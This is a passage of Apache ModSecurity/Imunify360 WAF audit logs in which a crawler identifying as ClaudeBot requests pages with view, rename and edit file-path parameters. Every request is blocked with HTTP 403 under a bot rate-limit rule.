SESSION:cld_bot_block."},"stopwatch":{"p1":462,"p2":3119,"p3":0,"p4":0,"p5":657,"sr":176,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:03.843347 +0100","transaction_id":"abPNn026I4peWFmz15ylYwAAAU4","remote_address":"216.73.216.152","remote_port":39254,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Ftestimonial-3.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"c6446554efb5ea7de62f4c0d660807f8","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124124"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"c6446554efb5ea7de62f4c0d660807f8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/testimonial-3.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":341,"p2":2895,"p3":0,"p4":0,"p5":555,"sr":145,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:03.935147 +0100","transaction_id":"abPNn1RY1ZHue1KnYxoolwAAApI","remote_address":"216.73.216.152","remote_port":53940,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2FLICENSE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"790d554022e0db93a196aae022547ba8","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124127"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"790d554022e0db93a196aae022547ba8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/LICENSE& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":385,"p2":3533,"p3":0,"p4":0,"p5":557,"sr":169,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:04.029240 +0100","transaction_id":"abPNoFRY1ZHue1KnYxoomQAAApI","remote_address":"216.73.216.152","remote_port":53940,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Ftestimonial-1.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"83b794cdad3177d50f6347c19ec131a0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10291426"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"83b794cdad3177d50f6347c19ec131a0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/testimonial-1.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":324,"p2":4378,"p3":0,"p4":0,"p5":545,"sr":199,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:04.122559 +0100","transaction_id":"abPNoOEAMg66iR7kG38e1QAAA0c","remote_address":"216.73.216.152","remote_port":55930,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fvideo-bg.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0da003ec4c381b7f951f0f30d677ee47","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10291429"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"0da003ec4c381b7f951f0f30d677ee47","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/video-bg.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":318,"p2":4310,"p3":0,"p4":0,"p5":582,"sr":188,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:04.208208 +0100","transaction_id":"abPNoOEAMg66iR7kG38e1wAAA0c","remote_address":"216.73.216.152","remote_port":55930,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fsg.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6bfda5326058bc5ce43f053f41c8dadd","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10291432"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6bfda5326058bc5ce43f053f41c8dadd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/sg.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":345,"p2":2967,"p3":0,"p4":0,"p5":538,"sr":142,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:04.304817 +0100","transaction_id":"abPNoOEAMg66iR7kG38e2AAAA0c","remote_address":"216.73.216.152","remote_port":55930,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fpartenaire2.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"343baf74945c59c1e3f76bd6df3fd5e7","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2036920"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"343baf74945c59c1e3f76bd6df3fd5e7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/partenaire2.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":336,"p2":6990,"p3":0,"p4":0,"p5":490,"sr":253,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:04.395841 +0100","transaction_id":"abPNoOEAMg66iR7kG38e2QAAA0c","remote_address":"216.73.216.152","remote_port":55930,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fbanierre1.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"cffc9514eca05a23e942de6880403370","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10291435"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"cffc9514eca05a23e942de6880403370","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/banierre1.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":325,"p2":4589,"p3":0,"p4":0,"p5":2623,"sr":242,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:04.485067 +0100","transaction_id":"abPNoOEAMg66iR7kG38e2gAAA0c","remote_address":"216.73.216.152","remote_port":55930,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fagri.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3f67585e05c9c370bd572a8a75200ed1","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2036923"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3f67585e05c9c370bd572a8a75200ed1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/agri.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":300,"p2":4554,"p3":0,"p4":0,"p5":511,"sr":170,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:17.482109 +0100","transaction_id":"abPNrU26I4peWFmz15ylfwAAAVI","remote_address":"216.73.216.152","remote_port":46936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fpart1.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f7b55114c3d77f8643dc2d254b920bf6","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288091"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f7b55114c3d77f8643dc2d254b920bf6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/part1.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":229,"p2":1715,"p3":0,"p4":0,"p5":364,"sr":108,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:17.555959 +0100","transaction_id":"abPNrU26I4peWFmz15ylgAAAAVI","remote_address":"216.73.216.152","remote_port":46936,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fabout-6.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"23a728d6568afb472d2b140927668d0b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12519571"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"23a728d6568afb472d2b140927668d0b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/about-6.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":180,"p2":1651,"p3":0,"p4":0,"p5":275,"sr":96,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:17.647594 +0100","transaction_id":"abPNrU26I4peWFmz15ylggAAAUU","remote_address":"216.73.216.152","remote_port":41722,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fimage-removebg-preview+%289%29.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"70295a9ebe974caf372f114bfe02f8f3","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12519574"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"70295a9ebe974caf372f114bfe02f8f3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/image-removebg-preview (9).png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":185,"p2":1651,"p3":0,"p4":0,"p5":317,"sr":84,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:17.738936 +0100","transaction_id":"abPNreEAMg66iR7kG38e4wAAA0k","remote_address":"216.73.216.152","remote_port":34188,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fdownload__1_-removebg-preview.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7258a3164b4d892c971f247518070f53","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12519577"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7258a3164b4d892c971f247518070f53","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/download__1_-removebg-preview.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":411,"p2":2888,"p3":0,"p4":0,"p5":478,"sr":135,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
